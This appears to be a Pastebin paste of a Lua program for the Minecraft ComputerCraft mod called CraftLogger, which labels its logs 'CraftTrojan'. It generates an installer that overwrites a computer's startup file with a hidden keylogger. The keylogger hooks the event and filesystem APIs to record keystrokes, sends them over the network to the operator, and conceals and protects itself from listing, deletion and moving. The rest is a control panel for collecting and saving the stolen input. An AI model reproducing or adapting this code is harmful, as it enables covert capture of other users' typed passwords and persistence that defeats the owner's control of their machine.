Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[
- [Program] CraftLogger
- @version 1.0
- #Changelog
- * Created the basics
- * Now it saves id to files
- * Now it doesn't error if it receives a number or nil message
- --]]
- local w, h = term.getSize()
- local logged_ids = {}
- local hLog = {}
- local data = {
- viewLog = false,
- }
- if fs.exists( "IDs.data" ) then
- local file = fs.open( "IDs.data", "r" )
- logged_ids = textutils.unserialize( file.readAll() )
- end
- local height = 0
- for i = 2, h - 1 do
- height = height + 1
- end
- local minY, maxY = 1, height/3 - 2
- for _, side in ipairs( rs.getSides() ) do
- if peripheral.isPresent( side ) and peripheral.getType( side ) == "modem" then
- rednet.open( side )
- break
- end
- end
- --[[ Drawing functions ]]--
- --[[
- @description "Draws text at the specified position"
- @param x, xPosition
- @param y, yPositon
- @return nil,
- --]]
- function drawAt(x,y,text)
- term.setCursorPos(x,y)
- write(text)
- end
- --[[
- @description "Clears the screen and sets the cursor pos to x=1, y=1"
- @return nil,
- --]]
- function clear(bColor)
- if bColor ~= nil then
- term.setBackgroundColor(bColor)
- end
- term.clear()
- term.setCursorPos(1,1)
- end
- --[[
- @description "Draws a box from starting value to finish values"
- @param sX, number
- @param fX, number
- @param sY, number
- @param fY, number
- @param bColor, color
- --]]
- function drawBox(sX,fX,sY,fY,bColor)
- if bColor ~= nil then
- term.setBackgroundColor(bColor)
- else
- error("nil bColor",2)
- end
- local str = ""
- for x = sX, fX do
- str = str.." "
- end
- for y = sY, fY do
- drawAt(sX,y,str)
- end
- end
- --[[
- @description "Draws a single line at the y position"
- @param sX, number
- @param fX, number
- @param y, number
- @param tColor, color or nil
- @param bColor, color or nil
- @param ch, string or nil
- --]]
- function drawLine(sX,fX,y,tColor,bColor,ch)
- if ch == nil then
- ch = " "
- end
- if tColor ~= nil then
- term.setTextColor(tColor)
- end
- if bColor ~= nil then
- term.setBackgroundColor(bColor)
- end
- local str = ""
- for x = sX, fX do
- str = str..ch
- end
- drawAt(sX,y,str)
- end
- --[[
- @description "Centers and draws text at the desired yPosition"
- @param y, number
- @param tColor, color or nil
- @param bColor, color or nil
- @param text, string
- --]]
- function centerPrint(y,tColor,bColor,text)
- if tColor ~= nil then
- term.setTextColor(tColor)
- end
- if bColor ~= nil then
- term.setBackgroundColor(bColor)
- end
- if text == nil then
- error("text was nil",2)
- end
- term.setCursorPos(math.ceil(w/2 - #text/2),y)
- write(text)
- end
- --[[ Bars ]]--
- --[[
- @description "Creates a bar with the param values"
- @param sX, number
- @param fX, number
- @param y, number
- @param currentProgress, number
- @param maxLen, number
- @param box, boolean
- @return table
- --]]
- function initBar(sX, fX, y, currentProgress, maxLen, box)
- local bar = {}
- bar.sX = math.ceil(sX)
- bar.fX = math.ceil(fX)
- bar.y = math.ceil(y)
- bar.currentProgress = currentProgress or 0
- bar.maxLen = maxLen
- bar.percent = (currentProgress/maxLen) * 100
- bar.barWidth = 0
- for i = sX,fX do
- bar.barWidth = bar.barWidth + 1
- end
- bar.box = box or false
- return bar
- end
- local function initScrollBar( x, sY, fY, current, max, box)
- local nBar = {}
- nBar.x = x
- nBar.sY = sY
- nBar.fY = fY
- nBar.current = current or 1
- nBar.max = max
- nBar.box = box or false
- nBar.barWidth = 0
- for i = sY,fY do
- nBar.barWidth = nBar.barWidth + 1
- end
- return nBar
- end
- --[[
- @description "Draws the bar"
- @param bar, table
- @param artProperties, table
- @return nil
- --]]
- function drawBar(bar,artProperties)
- local boxColor
- local barColor
- local barBackgroundColor
- if artProperties then
- boxColor = artProperties.boxColor or colors.lightGray
- barColor = artProperties.barColor or colors.lime
- barBackgroundColor = artProperties.barBackgroundColor or colors.gray
- else
- boxColor = colors.lightGray
- barColor = colors.lime
- barBackgroundColor = colors.gray
- end
- if bar.box then
- gui.drawBox(bar.sX - 1,bar.fX + 1,bar.y - 1,bar.y + 1,boxColor)
- end
- for i = 1, bar.barWidth do
- term.setCursorPos( ( bar.sX - 1 ) + i, bar.y)
- local char = ' '
- if i < (( bar.currentProgress / bar.maxLen ) * bar.barWidth + 1) then
- term.setBackgroundColor( barColor )
- else
- term.setBackgroundColor( barBackgroundColor )
- end
- write( char )
- end
- end
- --[[
- @description "Draws the scroll-bar"
- @param bar, table
- @param artProperties, table
- @return nil
- --]]
- function drawScrollBar(bar, artProperties)
- local boxColor
- local barColor
- local barBackgroundColor
- if artProperties then
- boxColor = artProperties.boxColor or colors.lightGray
- barColor = artProperties.barColor or colors.lime
- barBackgroundColor = artProperties.barBackgroundColor or colors.gray
- else
- boxColor = colors.lightGray
- barColor = colors.lime
- barBackgroundColor = colors.gray
- end
- if bar.box then
- gui.drawBox(bar.x - 1,bar.x + 1,bar.sY - 1,bar.sY + 1,boxColor)
- end
- for i = 1, bar.barWidth do
- term.setCursorPos( bar.x, ( bar.sY - 1 ) + i )
- local char = ' '
- if i <= (( bar.current / bar.max ) * bar.barWidth + 1) then
- term.setBackgroundColor( barColor )
- else
- term.setBackgroundColor( barBackgroundColor )
- end
- write( char )
- end
- end
- --[[
- @description "Updates the 'bar table' with a new value for the current progress and draws it"
- @param newValue, number
- @param artProperties, table
- @return nil
- --]]
- function updateBar(bar,newValue,artProperties)
- bar.currentProgress = newValue
- bar.percent = (bar.currentProgress/bar.maxLen) * 100
- drawBar(bar,artProperties)
- end
- --[[
- @description "Updates the 'bar table' with a new value for the current progress and draws it"
- @param newValue, number
- @param artProperties, table
- @return nil
- --]]
- function updateScrollBar(bar,newValue,artProperties)
- bar.current = newValue
- bar.percent = (bar.current/bar.max) * 100
- drawScrollBar(bar,artProperties)
- end
- local function yield()
- os.queueEvent("blah")
- os.pullEvent("blah")
- end
- local function exitProgram()
- term.setTextColor(colors.white)
- clear( colors.black )
- error()
- end
- local function save( filename )
- clear( colors.lightGray )
- local bar = initBar(w/2 - 9, w/2 + 9, h/2, 0, #hLog)
- local texture = {
- barColor = colors.lime,
- barBackgroundColor = colors.green,
- }
- drawBar( bar, texture )
- centerPrint( bar.y - 1, colors.black, colors.lightGray, "Initialzing..")
- sleep(.15)
- local file
- local create = false
- if not fs.exists(filename) then
- file = fs.open(filename, "w")
- create = true
- else
- file = fs.open(filename, "a")
- end
- local time = textutils.formatTime( os.time() )
- if create then
- file.writeLine("--[[")
- file.writeLine(" @CraftTrojan Log ")
- file.writeLine(" @Created " .. time .. " Day: " .. os.day())
- file.writeLine("--]]")
- file.writeLine("")
- end
- file.writeLine("")
- file.writeLine("--[[========================================]]--")
- file.writeLine("@New Session")
- file.writeLine("")
- file.writeLine("")
- for i = 1,#hLog do
- clear( colors.lightGray )
- centerPrint( bar.y - 1, colors.black, colors.lightGray, "Saving..")
- drawBar( bar, texture )
- centerPrint( bar.y + 1, colors.black, colors.lightGray, i .. "/" .. #hLog)
- updateBar( bar, i, texture )
- file.writeLine("@Time " .. hLog[i].time)
- file.write(" @ID " .. hLog[i].id )
- if hLog[i].label ~= nil then
- file.writeLine( ", " .. hLog[i].label )
- else
- file.writeLine( "<No Label>" )
- end
- file.writeLine(" Input: " .. hLog[i].input)
- if hLog[i].program ~= nil then
- file.writeLine(" Program: " .. hLog[i].program)
- end
- file.writeLine("")
- yield()
- end
- file.writeLine("--[[========================================]]--")
- file.close()
- exitProgram()
- end
- local function createLogger()
- local code = [[
- local function createLogger( id )
- local code = {
- "local hID = " .. id,
- "local nInfo = {}",
- "",
- "local function setUpTable()",
- " nInfo = {}",
- " ",
- " nInfo.program = shell.getRunningProgram()",
- " nInfo.input = ''",
- " nInfo.time = nil",
- " nInfo.id = os.getComputerID()",
- " nInfo.label = os.getComputerLabel()",
- "end",
- "setUpTable()",
- "",
- "--# Opening a modem",
- "local modemAttached = false",
- "for _, side in ipairs( rs.getSides() ) do",
- " if peripheral.isPresent( side ) and peripheral.getType( side ) == 'modem' then",
- " rednet.open( side )",
- " modemAttached = true",
- " break",
- " end",
- "end",
- "",
- "if not modemAttached then",
- " if fs.exists('.startup') then",
- " shell.run('.startup')",
- " end",
- " return false",
- "end",
- "",
- "--# Overriding os.pullEvent",
- "os_pullEvent = os_pullEvent or os.pullEvent",
- "os.pullEvent = function( event )",
- "",
- " local evt = { os_pullEvent( event ) }",
- " if evt[1] == 'char' then",
- " nInfo.input = nInfo.input .. evt[2]",
- " ",
- " elseif evt[1] == 'key' then",
- " if evt[2] == 28 then",
- " nInfo.label = os.getComputerLabel()",
- " nInfo.program = shell.getRunningProgram()",
- " nInfo.time = textutils.formatTime( os.time() )",
- " rednet.send( hID, textutils.serialize(nInfo) )",
- " setUpTable()",
- " ",
- " elseif evt[2] == 14 then",
- " if #nInfo.input > 0 then",
- " nInfo.input = string.sub( nInfo.input, 1, #nInfo.input - 1 )",
- " end",
- " end",
- " end",
- " return unpack( evt )",
- "end",
- "",
- "local blocked_files = {",
- " 'startup',",
- "}",
- "",
- "local fake_files = {",
- " [1] = {",
- " real = '.startup',",
- " fake = 'startup',",
- " },",
- "}",
- "",
- "fs_open = fs_open or fs.open",
- "fs.open = function( file, mode )",
- "",
- " for i = 1, #fake_files do",
- " if file == fake_files[i].fake then",
- " local handle = fs_open( fake_files[i].real, mode )",
- " return handle",
- " end",
- " end",
- " for i = 1,#blocked_files do",
- " if file == blocked_files[i] then",
- " return nil",
- " end",
- " end",
- " local handle = fs_open( file, mode )",
- " return handle",
- "end",
- "",
- "",
- "fs_getName = fs_getName or fs.getName",
- "fs.getName = function( file )",
- " for i = 1, #fake_files do",
- " local fName = fs_getName( file )",
- " if fName == fake_files[i].fake then",
- " local name = fake_files[i].real",
- " return fake_files[i].real",
- " end",
- " end",
- " local name = fs_getName( file )",
- " return name ",
- "end",
- "",
- "",
- "fs_delete = fs_delete or fs.delete",
- "fs.delete = function( file )",
- " for i = 1, #fake_files do",
- " if file == fake_files[i].fake then",
- " fs_delete( fake_files[i].real )",
- " return true",
- " end",
- " end",
- " ",
- " for i = 1,#blocked_files do",
- " if file == blocked_files[i] then",
- " return false",
- " end",
- " end",
- " fs_delete( file )",
- "end",
- "",
- "",
- "fs_move = fs_move or fs.move",
- "fs.move = function( file, nFile )",
- " for i = 1, #fake_files do",
- " if file == fake_files[i].fake then",
- " fs_move( fake_files[i].real, nFile )",
- " return true",
- " end",
- " end",
- " for i = 1,#blocked_files do",
- " if file == blocked_files[i] then",
- " return false",
- " end",
- " end",
- " fs_move( file, nFile )",
- "end",
- "",
- "fs_copy = fs_copy or fs.copy",
- "fs.copy = function( file, nFile )",
- " for i = 1, #fake_files do",
- " if file == fake_files[i].fake then",
- " fs_copy( fake_files[i].real, nFile )",
- " return true",
- " end",
- " end",
- " for i = 1,#blocked_files do",
- " if file == blocked_files[i] then",
- " return false",
- " end",
- " end",
- " fs_copy( file, nFile )",
- "end",
- "",
- "fs_list = fs_list or fs.list",
- "fs.list = function( path )",
- " local list = {}",
- " for _, file in ipairs( fs_list( path ) ) do",
- " local add = true",
- " for i = 1,#blocked_files do",
- " if file == blocked_files[i] then",
- " add = false",
- " end",
- " end",
- " for i = 1, #fake_files do",
- " if file == fake_files[i].real then",
- " table.insert( list, fake_files[i].fake )",
- " add = false",
- " break",
- " end",
- " end",
- " if add then",
- " table.insert( list, file )",
- " end",
- " end",
- " return list",
- "end",
- "",
- "shell_resolve = shell_resolve or shell.resolve",
- "shell.resolve = function ( file )",
- " local fName = file",
- " for i = 1, #fake_files do",
- " if file == fake_files[i].fake then",
- " fName = fake_files[i].real",
- " break",
- " end",
- " end",
- " local sPath = shell_resolve( fName )",
- " return sPath",
- "end",
- "",
- "",
- "",
- "if fs.exists( '.startup' ) then",
- " shell.run( '.startup' )",
- "end",
- "",
- }
- if fs.exists( 'startup' ) then
- if fs.exists( '.startup' ) then
- fs.delete( '.startup' )
- end
- fs.move( 'startup', '.startup' )
- end
- local file = fs.open( 'startup', 'w' )
- for i = 1, #code do
- file.writeLine( code[i] )
- end
- file.close()
- if shell.getRunningProgram() ~= "disk/startup" then
- fs.delete(shell.getRunningProgram())
- os.reboot()
- else
- os.shutdown()
- end
- end
- ]]
- clear( colors.black )
- term.setTextColor( colors.lime )
- print("Note: It's best to have the installer on \na disk drive, The file will not delete itself!\n")
- write("Save installer: ")
- local input = read()
- local file = fs.open( input, "w" )
- file.writeLine( code )
- file.writeLine( "createLogger( " .. os.getComputerID() .. " )" )
- file.close()
- end
- local function addLoggedID()
- clear( colors.black )
- term.setTextColor( colors.lime )
- write("Enter ID: ")
- local input = tonumber(read())
- if not tonumber( input ) then
- error("Enter numbers!", 0)
- end
- if fs.exists( "IDs.data" ) then
- local file = fs.open( "IDs.data", "r" )
- logged_ids = textutils.unserialize( file.readAll() )
- file.close()
- end
- table.insert( logged_ids, input )
- local file = fs.open( "IDs.data", "w" )
- file.writeLine( textutils.serialize( logged_ids ) )
- file.close()
- end
- local function changeData( var, nValue )
- if var == "viewLog" then
- data.viewLog = nValue
- end
- end
- local buttons = {
- [1] = {
- name = " View Log ",
- func = changeData,
- ["args"] = {
- "viewLog",
- true,
- },
- },
- [2] = {
- name = " Save & Exit ",
- func = save,
- ["args"] = {
- "Log.txt",
- },
- },
- [3] = {
- name = " Create Logger ",
- func = createLogger,
- ["args"] = {},
- },
- [4] = {
- name = " Add logged ID ",
- func = addLoggedID,
- ["args"] = {},
- },
- [5] = {
- name = " Exit ",
- func = exitProgram,
- ["args"] = {},
- },
- }
- local function draw()
- term.setBackgroundColor( colors.gray )
- term.clear()
- if not data.viewLog then
- centerPrint( 2, colors.lime, colors.gray, "CraftLogger" )
- term.setTextColor( colors.lime )
- term.setBackgroundColor( colors.black )
- local oX = 0
- for i = 1,#buttons do
- term.setCursorPos(math.ceil(w/2 - #buttons[i].name/2), 5 + i + oX)
- buttons[i].sX = math.ceil(w/2 - #buttons[i].name/2)
- buttons[i].fX = math.ceil(w/2 + #buttons[i].name/2)
- buttons[i].y = 5 + i + oX
- write( buttons[i].name )
- oX = oX + 1
- end
- else
- local sBar = initScrollBar( w, 1, h, 1, #hLog)
- clear( colors.black )
- drawLine( 1, w, 1, nil, colors.green )
- centerPrint(1, colors.lime,colors.green,"@CraftTrojan Log")
- drawAt( 2, 1, "x" )
- term.setCursorPos( 1, 3 )
- term.setBackgroundColor( colors.black )
- term.setTextColor( colors.lime )
- for i = minY, maxY do
- if i == 1 then
- print("@New Session\n")
- end
- if #hLog ~= 0 then
- if i > #hLog then
- break
- end
- print( "@Time " .. hLog[i].time )
- write( " @ID " .. hLog[i].id )
- if hLog[i].label ~= nil then
- print( ", " .. hLog[i].label )
- else
- print( ", <No Label>" )
- end
- print( " Input: " .. hLog[i].input )
- if hLog[i].program ~= nil then
- print( " Program: " .. hLog[i].program )
- end
- print("")
- end
- end
- updateScrollBar( sBar, maxY,{ barColor = colors.gray, barBackgroundColor = colors.lightGray} )
- end
- end
- while true do
- draw()
- local evt = {os.pullEvent()}
- if evt[1] == "rednet_message" then
- for i = 1, #logged_ids do
- if evt[2] == logged_ids[i] then
- if evt[3] ~= nil then
- if textutils.unserialize(evt[3]) then
- if type( evt[3] ) ~= "number" then
- local check = textutils.unserialize(evt[3])
- if check.input ~= nil then
- if check.input ~= "" then
- table.insert(hLog, textutils.unserialize(evt[3]) )
- hLog[#hLog].id = evt[2]
- break
- end
- end
- end
- end
- end
- end
- end
- elseif evt[1] == "key" then
- if evt[2] == 29 then
- data.viewLog = false
- end
- elseif evt[1] == "mouse_click" then
- if not data.viewLog then
- for i = 1,#buttons do
- if evt[3] >= buttons[i].sX and evt[3] <= buttons[i].fX and evt[4] == buttons[i].y then
- term.setBackgroundColor( colors.green ) term.setTextColor( colors.lime ) drawAt( buttons[i].sX, buttons[i].y, buttons[i].name )
- sleep( .15 )
- local func = buttons[i].func
- func( unpack(buttons[i].args) )
- break
- end
- end
- else
- if evt[3] == 2 and evt[4] == 1 then
- data.viewLog = false
- end
- end
- elseif evt[1] == "mouse_scroll" then
- if evt[2] == -1 then
- if minY > 1 then
- minY = minY - 1
- maxY = maxY - 1
- end
- elseif evt[2] == 1 then
- if maxY < #hLog then
- minY = minY + 1
- maxY = maxY + 1
- end
- end
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement